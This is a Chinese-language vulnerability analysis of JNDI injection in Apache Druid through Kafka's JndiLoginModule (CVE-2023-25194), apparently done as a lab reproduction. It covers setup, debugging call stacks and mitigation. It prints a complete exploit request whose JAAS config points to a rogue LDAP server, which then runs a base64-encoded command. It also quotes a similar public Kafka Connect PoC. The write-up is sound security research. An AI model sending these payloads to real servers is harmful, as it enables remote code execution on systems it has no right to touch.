Apache Druid JNDI 注入漏洞分析
Apache Druid JNDI 注入漏洞分析
参考
Apache Druid JNDI注入漏洞分析 (qq.com)
NOX 安全监测 - 奇安信 应急响应(指挥)中心 (qianxin.com)
环境
下载环境和源码
https://archive.apache.org/dist/druid/0.19.0/
启动环境
./bin/start-micro-quickstart
访问 8888 端口查看是否搭建成功
复现
POST /druid/indexer/v1/sampler?for=connect HTTP/1.1
Host: your-ip:8888
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 1792
{
"type":"kafka",
"spec":{
"type":"kafka",
"ioConfig":{
"type":"kafka",
"consumerProperties":{
"bootstrap.servers":"127.0.0.1:6666",
"sasl.mechanism":"SCRAM-SHA-256",
"security.protocol":"SASL_SSL",
"sasl.jaas.config":"com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"ldap://roguo-jndi-server:1389/Basic/Command/base64/aWQgPiAvdG1wL3N1Y2Nlc3M=\" useFirstPass=\"true\" serviceName=\"x\" debug=\"true\" group.provider.url=\"xxx\";"
},
"topic":"test",
"useEarliestOffset":true,
"inputFormat":{
"type":"regex",
"pattern":"([\\s\\S]*)",
"listDelimiter":"56616469-6de2-9da4-efb8-8f416e6e6965",
"columns":[
"raw"
]
}
},
"dataSchema":{
"dataSource":"sample",
"timestampSpec":{
"column":"!!!_no_such_column_!!!",
"missingValue":"1970-01-01T00:00:00Z"
},
"dimensionsSpec":{
},
"granularitySpec":{
"rollup":false
}
},
"tuningConfig":{
"type":"kafka"
}
},
"samplerConfig":{
"numRows":500,
"timeoutMs":15000
}
}
分析
确定断点
PS E:\Vuln\IDEA_Project\apache-druid-0.19.0-src> Get-ChildItem -Path . -Filter *.java -Recurse | Select-String -Pattern "v1/sampler"
indexing-service\src\main\java\org\apache\druid\indexing\overlord\sampler\SamplerResource.java:32:@Path("/druid/indexer/v1/sampler")
在此处搜索出来和 PoC 相关的路径处理,在此处下断点。
@Path("/druid/indexer/v1/sampler")
public class SamplerResource
{
@POST
@Consumes(MediaType.APPLICATION_JSON)
@Produces(MediaType.APPLICATION_JSON)
@ResourceFilters(StateResourceFilter.class)
public SamplerResponse post(final SamplerSpec sampler)
{
return Preconditions.checkNotNull(sampler, "Request body cannot be empty").sample();
}
}
调试准备
配置远程调试
cd ./conf/druid/single-server/micro-quickstart/coordinator-overlord
编辑 jvm.config
,添加以下内容(JDK8):
-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
重启 Druid
./start-micro-quickstart
分析
重新攻击,就可看到处理 Post 数据的类的调用链了。
post:41, SamplerResource (org.apache.druid.indexing.overlord.sampler)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invoke:60, JavaMethodInvokerFactory$1 (com.sun.jersey.spi.container)
_dispatch:185, AbstractResourceMethodDispatchProvider$TypeOutInvoker (com.sun.jersey.server.impl.model.method.dispatch)
dispatch:75, ResourceJavaMethodDispatcher (com.sun.jersey.server.impl.model.method.dispatch)
accept:302, HttpMethodRule (com.sun.jersey.server.impl.uri.rules)
accept:108, ResourceClassRule (com.sun.jersey.server.impl.uri.rules)
accept:147, RightHandPathRule (com.sun.jersey.server.impl.uri.rules)
accept:84, RootResourceClassesRule (com.sun.jersey.server.impl.uri.rules)
_handleRequest:1542, WebApplicationImpl (com.sun.jersey.server.impl.application)
_handleRequest:1473, WebApplicationImpl (com.sun.jersey.server.impl.application)
handleRequest:1419, WebApplicationImpl (com.sun.jersey.server.impl.application)
handleRequest:1409, WebApplicationImpl (com.sun.jersey.server.impl.application)
service:409, WebComponent (com.sun.jersey.spi.container.servlet)
service:558, ServletContainer (com.sun.jersey.spi.container.servlet)
service:733, ServletContainer (com.sun.jersey.spi.container.servlet)
service:790, HttpServlet (javax.servlet.http)
doServiceImpl:286, ServletDefinition (com.google.inject.servlet)
doService:276, ServletDefinition (com.google.inject.servlet)
service:181, ServletDefinition (com.google.inject.servlet)
service:91, ManagedServletPipeline (com.google.inject.servlet)
doFilter:85, FilterChainInvocation (com.google.inject.servlet)
dispatch:120, ManagedFilterPipeline (com.google.inject.servlet)
doFilter:135, GuiceFilter (com.google.inject.servlet)
doFilter:1642, ServletHandler$CachedChain (org.eclipse.jetty.servlet)
doFilter:73, RedirectFilter (org.apache.druid.server.http)
doFilter:1642, ServletHandler$CachedChain (org.eclipse.jetty.servlet)
doFilter:82, PreResponseAuthorizationCheckFilter (org.apache.druid.server.security)
doFilter:1642, ServletHandler$CachedChain (org.eclipse.jetty.servlet)
doFilter:78, AllowHttpMethodsResourceFilter (org.apache.druid.server.security)
doFilter:1642, ServletHandler$CachedChain (org.eclipse.jetty.servlet)
doFilter:75, AllowOptionsResourceFilter (org.apache.druid.server.security)
doFilter:1642, ServletHandler$CachedChain (org.eclipse.jetty.servlet)
doFilter:84, AllowAllAuthenticator$1 (org.apache.druid.server.security)
doFilter:59, AuthenticationWrappingFilter (org.apache.druid.server.security)
doFilter:1642, ServletHandler$CachedChain (org.eclipse.jetty.servlet)
doFilter:86, SecuritySanityCheckFilter (org.apache.druid.server.security)
doFilter:1642, ServletHandler$CachedChain (org.eclipse.jetty.servlet)
doHandle:533, ServletHandler (org.eclipse.jetty.servlet)
nextHandle:255, ScopedHandler (org.eclipse.jetty.server.handler)
doHandle:1595, SessionHandler (org.eclipse.jetty.server.session)
nextHandle:255, ScopedHandler (org.eclipse.jetty.server.handler)
doHandle:1340, ContextHandler (org.eclipse.jetty.server.handler)
nextScope:203, ScopedHandler (org.eclipse.jetty.server.handler)
doScope:473, ServletHandler (org.eclipse.jetty.servlet)
doScope:1564, SessionHandler (org.eclipse.jetty.server.session)
nextScope:201, ScopedHandler (org.eclipse.jetty.server.handler)
doScope:1242, ContextHandler (org.eclipse.jetty.server.handler)
handle:144, ScopedHandler (org.eclipse.jetty.server.handler)
handle:740, GzipHandler (org.eclipse.jetty.server.handler.gzip)
handle:61, HandlerList (org.eclipse.jetty.server.handler)
handle:132, HandlerWrapper (org.eclipse.jetty.server.handler)
handle:503, Server (org.eclipse.jetty.server)
handle:364, HttpChannel (org.eclipse.jetty.server)
onFillable:260, HttpConnection (org.eclipse.jetty.server)
succeeded:305, AbstractConnection$ReadCallback (org.eclipse.jetty.io)
fillable:103, FillInterest (org.eclipse.jetty.io)
run:118, ChannelEndPoint$2 (org.eclipse.jetty.io)
runTask:333, EatWhatYouKill (org.eclipse.jetty.util.thread.strategy)
doProduce:310, EatWhatYouKill (org.eclipse.jetty.util.thread.strategy)
tryProduce:168, EatWhatYouKill (org.eclipse.jetty.util.thread.strategy)
run:126, EatWhatYouKill (org.eclipse.jetty.util.thread.strategy)
run:366, ReservedThreadExecutor$ReservedThread (org.eclipse.jetty.util.thread)
runJob:765, QueuedThreadPool (org.eclipse.jetty.util.thread)
run:683, QueuedThreadPool$2 (org.eclipse.jetty.util.thread)
run:745, Thread (java.lang)
根据的 CVE-2023-25194 Apache Kafka Connect JNDI 漏洞描述,我们可以知道漏洞出发点就在JndiLoginModule
。
攻击者需要具备对 Kafka Connect 工作节点的访问权限,并且可以使用任意 Kafka 客户端 SASL JAAS 配置和基于 SASL 的安全协议创建/修改连接器。当通过 Kafka Connect REST API 配置连接器时,认证操作员可以为连接器的任何Kafka客户端设置
sasl.jaas.config
属性为com.sun.security.auth.module.JndiLoginModule
。这将允许服务器连接到攻击者的 LDAP 服务器并对 LDAP 响应进行反序列化,攻击者可以利用此操作在 Kafka Connect 服务器上执行Java反序列化 gadget 链,从而达到 RCE 漏洞效果。Apache Kafka 3.0.0及之后的版本中,用户允许在连接器配置中指定这些属性。在 Apache Kafka 3.4.0 中增加了一个系统属性来禁用 SASL JAAS 配置中存在问题的登录模块的使用。建议 Kafka Connect 用户验证连接器配置,并仅允许信任的 JNDI 配置。此外,检查连接器依赖项是否有受漏洞影响的版本,并升级连接器、升级特定依赖项或取消连接器以进行修复。最后,除了利用org.apache.kafka.disallowed.login.modules
系统属性之外,Kafka Connect 用户还可以实现自己的连接器客户端配置覆盖策略,用于控制是否可以直接在连接器配置中重写Kafka客户端属性。
在 com.sun.security.auth.module.JndiLoginModule
搜索到两个 lookup 的调用,都打上断点。最终发现调用链如下:
attemptAuthentication:526, JndiLoginModule (com.sun.security.auth.module)
login:319, JndiLoginModule (com.sun.security.auth.module)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invoke:755, LoginContext (javax.security.auth.login)
access$000:195, LoginContext (javax.security.auth.login)
run:682, LoginContext$4 (javax.security.auth.login)
run:680, LoginContext$4 (javax.security.auth.login)
doPrivileged:-1, AccessController (java.security)
invokePriv:680, LoginContext (javax.security.auth.login)
login:587, LoginContext (javax.security.auth.login)
login:60, AbstractLogin (org.apache.kafka.common.security.authenticator)
<init>:62, LoginManager (org.apache.kafka.common.security.authenticator)
acquireLoginManager:105, LoginManager (org.apache.kafka.common.security.authenticator)
configure:158, SaslChannelBuilder (org.apache.kafka.common.network)
create:157, ChannelBuilders (org.apache.kafka.common.network)
clientChannelBuilder:73, ChannelBuilders (org.apache.kafka.common.network)
createChannelBuilder:105, ClientUtils (org.apache.kafka.clients)
<init>:743, KafkaConsumer (org.apache.kafka.clients.consumer)
<init>:666, KafkaConsumer (org.apache.kafka.clients.consumer)
getKafkaConsumer:248, KafkaRecordSupplier (org.apache.druid.indexing.kafka)
<init>:63, KafkaRecordSupplier (org.apache.druid.indexing.kafka)
createRecordSupplier:66, KafkaSamplerSpec (org.apache.druid.indexing.kafka)
createRecordSupplier:36, KafkaSamplerSpec (org.apache.druid.indexing.kafka)
sample:97, SeekableStreamSamplerSpec (org.apache.druid.indexing.seekablestream)
post:41, SamplerResource (org.apache.druid.indexing.overlord.sampler)
一直到最后的 lookup
,这里分析主要就是跟着 PoC 分析,有 PoC 的分析不需要这样子一步步看下去。对于这个漏洞,我猜是使用半自动化工具检测出来接口 /druid/indexer/v1/sampler
的某个数据可以一直到 lookup
方法。
那么这个时候,问题变成了,工具告诉你, /druid/indexer/v1/sampler
的 POST 数据,可达 attemptAuthentication:526, JndiLoginModule (com.sun.security.auth.module)
的 lookup
方法,疑似存在 JNDI 漏洞,你要如何构造 PoC。
现在来回看一下公开的 CVE-2023-25194 的 PoC:
POST /connectors HTTP/1.1
Host: xxxx:8083
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Content-Type: application/json
Connection: close
Content-Length: 1109
{"name": "test",
"config":
{
"connector.class":"io.debezium.connector.mysql.MySqlConnector",
"database.hostname": "xxxxx",
"database.port": "3306",
"database.user": "root",
"database.password": "xxxxxx",
"database.dbname": "xxxx",
"database.sslmode": "SSL_MODE",
"database.server.id": "1234",
"database.server.name": "localhost",
"table.include.list": "MYSQL_TABLES",
"tasks.max":"1",
"topic.prefix": "aaa22",
"debezium.source.database.history": "io.debezium.relational.history.MemoryDatabaseHistory",
"schema.history.internal.kafka.topic": "aaa22",
"schema.history.internal.kafka.bootstrap.servers": "kafka:9202",
"database.history.producer.security.protocol": "SASL_SSL",
"database.history.producer.sasl.mechanism": "PLAIN",
"database.history.producer.sasl.jaas.config": "com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"ldap://aaa\" useFirstPass=\"true\" serviceName=\"x\" debug=\"true\" group.provider.url=\"xxx\";"
}
}
我们都在 PoC 里面看到这个 sasl.jaas.config,对于这个参数名称,文档中解释到,sasl.jaas.config
是用于配置 Kafka 中 SASL 认证机制的参数之一,需要按照特定的格式指定 JAAS 登录上下文参数,并且需要使用 listener 前缀和 SASL 机制名称作为前缀。其中,JAAS 是 Java Authentication and Authorization Service 的缩写,是 Java 中用于身份验证和授权的标准 API。这两个 PoC 都是指定了 com.sun.security.auth.module.JndiLoginModule
类来做登陆身份验证模块。
createRecordSupplier:36, KafkaSamplerSpec (org.apache.druid.indexing.kafka)
在这里通过 getConsumerProperties
方法从 ioConfig
获取到 PoC 中的consumerProperties
字段。接着带着 props 进入一直到
createChannelBuilder:105, ClientUtils (org.apache.kafka.clients)
把 PoC 中的 security.protocol 和 sasl.mechanism 字段提取出来,继续作为参数进入之后的调用。
clientChannelBuilder:73, ChannelBuilders (org.apache.kafka.common.network)
根据刚刚提取的两个参数来判断是否抛出相对于的异常,然后继续步入
create:157, ChannelBuilders (org.apache.kafka.common.network)
securityProtocol
被 PoC 设置成 SASL_SSL
,但是 SASL_SSL
分支没有任何代码可以处理,直接执行 SASL_PLAINTEXT
分支的代码,然后 break
退出分支,执行到 ((ChannelBuilder)channelBuilder).configure(configs);
。我们来看看 channelBuilder 是怎么样的。
其中 PoC 中的 sasl.jaas.config 的值存放在了这里,在channelBuilder.jaasContexts.dynamicJaasConfig
。
最后一直到 lookup。
备注:Kafka Connect 架构
直接以电商网站为场景解释 Kafka Connect 的各个组成。
-
Connector Connector 是 Kafka Connect 中用于连接不同数据系统的组件,它用于将数据从数据源中读取并写入 Kafka 集群中。在电商网站这个场景中,Connector 可以指 MySQL Connector,用于将订单数据从 MySQL 数据库中读取并写入 Kafka 集群中。
-
Tasks Tasks 是 Connector 的实际执行者,它负责在 Kafka 集群中的一个或多个节点上执行数据传输操作。在电商网站这个场景中,我们需要使用多个 Tasks,每个 Task 负责将订单数据从 MySQL 数据库中读取,并将其写入 Kafka 集群中的一个或多个 Topic 中。
-
Workers Workers 是 Kafka Connect 的核心组件,它负责管理 Connectors 和 Tasks 的部署和运行。Worker 运行在 Kafka Connect 集群的节点上,并且是整个 Kafka Connect 集群的控制中心。在电商网站这个场景中,我们需要在多个 Kafka Connect Worker 节点上运行 Connectors 和 Tasks,以实现订单数据的高效传输和处理。
-
Converters Converters 是 Kafka Connect 中用于数据格式转换的插件。Kafka Connect 提供了多种 Converters,例如 JSON Converter、Avro Converter、Protobuf Converter 等。在电商网站这个场景中,我们可以使用 JSON Converter 将订单数据从 MySQL 数据库中读取,并将其转换为 JSON 格式,以便于发送到 Kafka 集群中。
-
Transforms Transforms 是用于数据转换和操作的插件。Transforms 可以在数据传输之前或之后对数据进行处理,例如过滤、字段选择、分割、合并等。在电商网站这个场景中,我们可以使用 Timestamp Extractor Transform 将订单数据中的时间戳字段提取出来,并将其用作 Kafka 消息的时间戳。
-
Dead Letter Queue Dead Letter Queue 是一个用于存储传输失败数据的队列。如果 Connectors 或 Tasks 在数据传输过程中发生错误,这些错误数据将被发送到 Dead Letter Queue 中,以便于进行后续的错误处理和故障排除。在电商网站这个场景中,如果订单数据传输失败,这些失败数据将被发送到 Dead Letter Queue 中,以便于进行后续的错误处理和故障排除。
综上所述,Kafka Connect 的各个部分在电商网站这个场景中的作用可以概括为:Connector 用于连接不同数据系统,将数据从数据源中读取并写入 Kafka 集群中;Tasks 是 Connector 的实际执行者,负责在 Kafka 集群中的一个或多个节点上执行数据传输操作;Workers 是 Kafka Connect 的核心组件,负责管理 Connectors 和 Tasks 的部署和运行;Converters 和 Transforms 用于数据格式转换和操作;Dead Letter Queue 用于存储传输失败数据,以便于进行后续的错误处理和故障排除。